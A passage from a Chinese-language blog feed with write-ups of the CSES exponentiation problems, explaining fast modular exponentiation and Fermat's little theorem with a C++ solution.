class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi></mrow><annotation encoding="application/x-tex">c</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span></span></span></span>.</td><td>Print each value <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><msup><mi>b</mi><mi>c</mi></msup></msup></mrow><annotation encoding="application/x-tex">a^{b^c}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.88em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.88em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">c</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><mn>2</mn><mo>⋅</mo><msup><mn>10</mn><mn>5</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 2 \cdot 10^5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn><mo>≤</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo separator="true">,</mo><mi>c</mi><mo>≤</mo><msup><mn>10</mn><mn>9</mn></msup></mrow><annotation encoding="application/x-tex">0 \le a,b,c \le 10^9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>3<br/>3 7 1<br/>15 2 2<br/>3 4 5<br/></td><td>2187<br/>50625<br/>763327764</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><p>這題跟前一題差不多，我們只要額外想如何處裡<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>上面的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>b</mi><mi>c</mi></msup></mrow><annotation encoding="application/x-tex">b^c</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">c</span></span></span></span></span></span></span></span></span></span></span>即可。因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">M = 10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>是質數，所以我們可以用費馬小定理，即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><mi>M</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{M-1}\equiv 1\pmod{M}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span></span></span></span>。於是我們只要先計算出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi><mo>≡</mo><msup><mi>b</mi><mi>c</mi></msup><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">t\equiv b^c \pmod{M-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">c</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>(這樣能有效的讓<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>的指數變小)，再計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>t</mi></msup></mrow><annotation encoding="application/x-tex">a^t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7936em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7936em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span></span></span></span></span></span></span></span>即可。指數計算則用我們上次提到的快速冪。</p><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> M <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span><span class="token number">1e9</span> <span class="token operator">+</span> <span class="token number">7</span><span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">fast_pow</span><span class="token punctuation">(</span>ll base<span class="token punctuation">,</span> ll exp<span class="token punctuation">,</span> <span class="token keyword">int</span> m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ll res <span class="token operator">=</span> <span class="token number">1LL</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>exp <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>exp<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res <span class="token operator">=</span> <span class="token punctuation">(</span>res<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    base <span class="token operator">=</span> <span class="token punctuation">(</span>base<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span>    exp <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> res<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  ll n<span class="token punctuation">,</span> a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> c<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    cin <span class="token operator">>></span> a <span class="token operator">>></span> b <span class="token operator">>></span> c<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> <span class="token function">fast_pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token function">fast_pow</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span>c<span class="token punctuation">,</span>M<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span>M<span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/05/31/CSES-Exponentiation-II-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/05/31/CSES-Exponentiation-II-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-05-31T14:37:40.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>本題會用到上次在<a href="/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/"><em><strong>CSES Exponentiation 題解 | R3X’s Blog</stron]]>
    </summary>
    <title>CSES Exponentiation II 題解</title>
    <updated>2026-05-31T14:37:40.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Mathematics" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Mathematics/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to efficiently calculate values <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>b</mi></msup></mrow><annotation encoding="application/x-tex">a^b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span> modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.<br>Note that in this task we assume that <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>0</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">0^0=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The first input line contains an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>: the number of calculations.<br/>After this, there are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> lines, each containing two integers <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex">b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span>.</td><td>Print each value <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>b</mi></msup></mrow><annotation encoding="application/x-tex">a^b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span> modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><mn>2</mn><mo>⋅</mo><msup><mn>10</mn><mn>5</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 2 \cdot 10^5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn><mo>≤</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo>≤</mo><msup><mn>10</mn><mn>9</mn></msup></mrow><annotation encoding="application/x-tex">0 \le a,b \le 10^9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>3<br/>3 4<br/>2 8<br/>123 123<br/></td><td>81<br/>256<br/>921450052</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E5%BF%AB%E9%80%9F%E5%86%AA" tabindex="-1" id="快速冪">快速冪</h2><h3 id="%E7%90%86%E8%AB%96" tabindex="-1" id="理論">理論</h3><p>要快速計算乘方，這題顯然就是快速冪。<br>我們以一個例子解釋快速冪的邏輯。假設我們要計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>3</mn></msup><mn>2</mn></mrow><annotation encoding="application/x-tex">a^32</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mord">2</span></span></span></span>，我們其實不需要真的將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>做<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>32</mn></mrow><annotation encoding="application/x-tex">32</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">32</span></span></span></span>次乘法，而可以依序計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>4</mn></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>2</mn></msup><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^4=(a^2)^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord 